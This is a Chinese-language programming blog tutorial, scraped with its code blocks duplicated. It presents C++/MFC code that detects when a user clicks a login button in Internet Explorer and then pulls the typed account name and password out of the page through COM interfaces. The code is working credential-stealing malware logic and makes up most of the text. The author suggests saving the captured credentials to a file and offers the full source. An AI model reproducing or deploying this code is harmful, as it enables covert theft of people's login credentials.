想實現的功能是這樣的,當用戶單擊網頁中的登錄按鈕時自動提取出用戶輸入的帳號密碼信息
第一步:首先獲得用戶在浏覽器上的鼠標單擊消息
這裡可以用兩種方法去實現,一個是用SetWindowsHookEx(),生成一個全局鉤子(要在dll中,具體實現可以百度,因為本文采用的是另外一種方法),捕獲WH_GETMESSAGE或者WH_MOUSEMOVE消息。
另一個用SetCapture獲得捕獲鼠標的窗口句柄,進而得到鼠標單擊坐標點
下面是MFC中的SetCapture(也可以用API的SetCapture)
CWnd::SetCapture
CWnd* SetCapture( );
返回值:
原來接收所有鼠標輸入的窗口的指針。如果沒有這樣的窗口,則返回值為NULL。返回的指針可能是臨時的,不能被保存以供將來使用。
說明:
這個函數使隨後的所有鼠標輸入都被發送到當前的CWnd對象,並不考慮光標的位置。
當CWnd不再需要所有的鼠標輸入時,應用程序應當調用ReleaseCapture函數以使其它窗口能夠接收鼠標輸入。
響應LBUTTONUP消息,獲得鼠標點擊信息
[cpp]
void CGetIhtmlDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
if(m_bCapture){
m_bCapture=FALSE;
ReleaseCapture();
static TCHAR buf[100];
POINT pt;
GetCursorPos(&pt);
HWND hwnd=::WindowFromPoint(pt);
if(hwnd!=NULL){
::GetClassName( hwnd, (LPTSTR)&buf, 100 );
if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 )
{
POINT iept=pt;
IHTMLDocument2 *pDoc2=GetDocInterface(hwnd);
::ScreenToClient(hwnd,&iept);
if(CheckSubmit(pDoc2,iept))
void CGetIhtmlDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
if(m_bCapture){
m_bCapture=FALSE;
ReleaseCapture();
static TCHAR buf[100];
POINT pt;
GetCursorPos(&pt);
HWND hwnd=::WindowFromPoint(pt);
if(hwnd!=NULL){
::GetClassName( hwnd, (LPTSTR)&buf, 100 );
if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 )
{
POINT iept=pt;
IHTMLDocument2 *pDoc2=GetDocInterface(hwnd);
::ScreenToClient(hwnd,&iept);
if(CheckSubmit(pDoc2,iept))[cpp] view plaincopyprint?
{
GetHtmlInfo(pDoc2,hwnd);
}
}
}
}
CDialog::OnLButtonUp(nFlags, point);
{
GetHtmlInfo(pDoc2,hwnd);
}
}
}
}
CDialog::OnLButtonUp(nFlags, point);
}第二步:判斷鼠標點擊的位置是否為登錄按鈕
這裡面首先要做的就是獲得IHTMLDocment2*的指針,這個是微軟為IE開發提供的一個接口,具體可以MSDN,這裡面用到了com組件,建議大家可以先去了解相關資料再看代碼或許會更好理解
[cpp]
IHTMLDocument2* GetDocInterface(HWND hWnd)
{
//必須動態載入OLEACC.dll動態鏈接庫
HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
IHTMLDocument2* pDoc2=NULL;
if ( hInst != NULL ){
if ( hWnd != NULL ){
CComPtr<IHTMLDocument> spDoc=NULL;
LRESULT lRes;
IHTMLDocument2* GetDocInterface(HWND hWnd)
{
//必須動態載入OLEACC.dll動態鏈接庫
HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
IHTMLDocument2* pDoc2=NULL;
if ( hInst != NULL ){
if ( hWnd != NULL ){
CComPtr<IHTMLDocument> spDoc=NULL;
LRESULT lRes;
[cpp] view plaincopyprint? //因為WM_HTML_GETOBJECCT非Windows標准消息,得手動注冊
UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );
LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );
if ( pfObjectFromLresult != NULL ){
HRESULT hr;
hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);
if ( SUCCEEDED(hr) ){
CComPtr<IDispatch> spDisp;
CComQIPtr<IHTMLWindow2> spWin;
spDoc->get_Script( &spDisp );
spWin = spDisp;
spWin->get_document( &pDoc2 );
}
}
//因為WM_HTML_GETOBJECCT非Windows標准消息,得手動注冊
UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );
LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );
if ( pfObjectFromLresult != NULL ){
HRESULT hr;
hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);
if ( SUCCEEDED(hr) ){
CComPtr<IDispatch> spDisp;
CComQIPtr<IHTMLWindow2> spWin;
spDoc->get_Script( &spDisp );
spWin = spDisp;
spWin->get_document( &pDoc2 );
}
}
}[cpp] view plaincopyprint? ::FreeLibrary(hInst);
return pDoc2;
}
::FreeLibrary(hInst);
return pDoc2;
} 接下來就是根據鼠標點擊位置判斷是否單擊登錄了
[cpp]
BOOL CGetIhtmlDlg::CheckSubmit(IHTMLDocument2* pDoc2,POINT pt)
{
if(pDoc2==NULL)return FALSE;
CComPtr<IHTMLElement> pElement;
HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
if(SUCCEEDED(hr))
{
BOOL CGetIhtmlDlg::CheckSubmit(IHTMLDocument2* pDoc2,POINT pt)
{
if(pDoc2==NULL)return FALSE;
CComPtr<IHTMLElement> pElement;
HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
if(SUCCEEDED(hr))
{ [cpp] view plaincopyprint? //HTML中登錄按鈕有兩種方式<input type="submit">和<button type="submit">在com中有IHTMLInputButtonElement和IHTMLButtonElement接口與之對應
CComPtr<IHTMLInputButtonElement> pInputButtonElement;
hr=pElement->QueryInterface(IID_IHTMLInputButtonElement,(void**)&pInputButtonElement);
if(SUCCEEDED(hr))
{
CComBSTR type;
hr=pInputButtonElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type==_T("submit"))
return TRUE;
}
}
//HTML中登錄按鈕有兩種方式<input type="submit">和<button type="submit">在com中有IHTMLInputButtonElement和IHTMLButtonElement接口與之對應
CComPtr<IHTMLInputButtonElement> pInputButtonElement;
hr=pElement->QueryInterface(IID_IHTMLInputButtonElement,(void**)&pInputButtonElement);
if(SUCCEEDED(hr))
{
CComBSTR type;
hr=pInputButtonElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type==_T("submit"))
return TRUE;
}
}[cpp] view plaincopyprint? //如果不是第一種按鈕,判斷第二種
CComPtr<IHTMLButtonElement> pButtonElement;
hr=NULL;
hr=pElement->QueryInterface(IID_IHTMLButtonElement,(void**)&pButtonElement);
if(SUCCEEDED(hr))
{
CComBSTR type;
hr=pButtonElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type==_T("submit"))
return TRUE;
}
}
}
return FALSE;
}
//如果不是第一種按鈕,判斷第二種
CComPtr<IHTMLButtonElement> pButtonElement;
hr=NULL;
hr=pElement->QueryInterface(IID_IHTMLButtonElement,(void**)&pButtonElement);
if(SUCCEEDED(hr))
{
CComBSTR type;
hr=pButtonElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type==_T("submit"))
return TRUE;
}
}
}
return FALSE;
}第三步:根據獲得到的IHTMLDocment2指針解析整個網頁,找到password和text標簽處,取出裡面的內容
[cpp]
void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd)
{
LONG length = 0;
PCHAR pBase64Title = NULL;
BOOL bHavePassword = FALSE;
BOOL bHaveEmail = FALSE;
DWORD dwLenOfBuffer;
CHAR szBase64Title[MAX_PATH * 2] = {0};
WCHAR wzEmailTitle[MAX_PATH] = {0};
WCHAR wzEmailAddr[MAX_PATH] = {0};
WCHAR wzEmailPsw[MAX_PATH] = {0};
HRESULT hr;
PWCHAR pwBuffer = NULL;
do
{
if (NULL == pHDoc2)
{
break;
}
CComPtr<IHTMLElementCollection> pAllColl;
hr = pHDoc2->get_all(&pAllColl);
if (S_OK != hr || pAllColl == NULL)
{
break;
}
hr = pAllColl->get_length(&length);
if (S_OK != hr)
{
break;
}
for(int i = 0; i < length; i++)
{
if (bHaveEmail && bHavePassword)
{
break;
}
VARIANT vIndex,vName;
vName.vt = vIndex.vt = VT_I4;
vName.lVal = vIndex.lVal = i;
CComPtr<IDispatch> pDisp;
hr = pAllColl->item(vName,vIndex,&pDisp);
if (S_OK != hr || pDisp == NULL)
{
continue;
}
CComPtr<IHTMLInputTextElement> pElement;
hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement);
if (S_OK != hr || pElement == NULL)
{
continue;
}
CComBSTR type;
hr = pElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type == "password")
{
CComBSTR pwd;
pElement->get_value(&pwd);
lstrcpyW(wzEmailPsw, (PWCHAR)pwd);
bHaveEmail = TRUE;
}
else if (type == "text")
{
CComBSTR eml;
pElement->get_value(&eml);
lstrcpyW(wzEmailAddr, (PWCHAR)eml);
bHavePassword = TRUE;
}
}
}
} while (FALSE);
void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd)
{
LONG length = 0;
PCHAR pBase64Title = NULL;
BOOL bHavePassword = FALSE;
BOOL bHaveEmail = FALSE;
DWORD dwLenOfBuffer;
CHAR szBase64Title[MAX_PATH * 2] = {0};
WCHAR wzEmailTitle[MAX_PATH] = {0};
WCHAR wzEmailAddr[MAX_PATH] = {0};
WCHAR wzEmailPsw[MAX_PATH] = {0};
HRESULT hr;
PWCHAR pwBuffer = NULL;
do
{
if (NULL == pHDoc2)
{
break;
}
CComPtr<IHTMLElementCollection> pAllColl;
hr = pHDoc2->get_all(&pAllColl);
if (S_OK != hr || pAllColl == NULL)
{
break;
}
hr = pAllColl->get_length(&length);
if (S_OK != hr)
{
break;
}
for(int i = 0; i < length; i++)
{
if (bHaveEmail && bHavePassword)
{
break;
}
VARIANT vIndex,vName;
vName.vt = vIndex.vt = VT_I4;
vName.lVal = vIndex.lVal = i;
CComPtr<IDispatch> pDisp;
hr = pAllColl->item(vName,vIndex,&pDisp);
if (S_OK != hr || pDisp == NULL)
{
continue;
}
CComPtr<IHTMLInputTextElement> pElement;
hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement);
if (S_OK != hr || pElement == NULL)
{
continue;
}
CComBSTR type;
hr = pElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type == "password")
{
CComBSTR pwd;
pElement->get_value(&pwd);
lstrcpyW(wzEmailPsw, (PWCHAR)pwd);
bHaveEmail = TRUE;
}
else if (type == "text")
{
CComBSTR eml;
pElement->get_value(&eml);
lstrcpyW(wzEmailAddr, (PWCHAR)eml);
bHavePassword = TRUE;
}
}
}
} while (FALSE);[cpp] view plaincopyprint?
[cpp]
//因為是做演示程序,直接彈出對話框了,大家可以將此處帳號密碼寫入文本文件中
CString temp=L"帳號:";
temp+=wzEmailAddr;
temp+=L"密碼:";
temp+=wzEmailPsw;
AfxMessageBox(temp);
}
//因為是做演示程序,直接彈出對話框了,大家可以將此處帳號密碼寫入文本文件中
CString temp=L"帳號:";
temp+=wzEmailAddr;
temp+=L"密碼:";
temp+=wzEmailPsw;
AfxMessageBox(temp);
}
基本就這樣可以了,貼張圖吧
如果有需要的話可以聯系我,可以提供源碼,QQ號在我ID裡面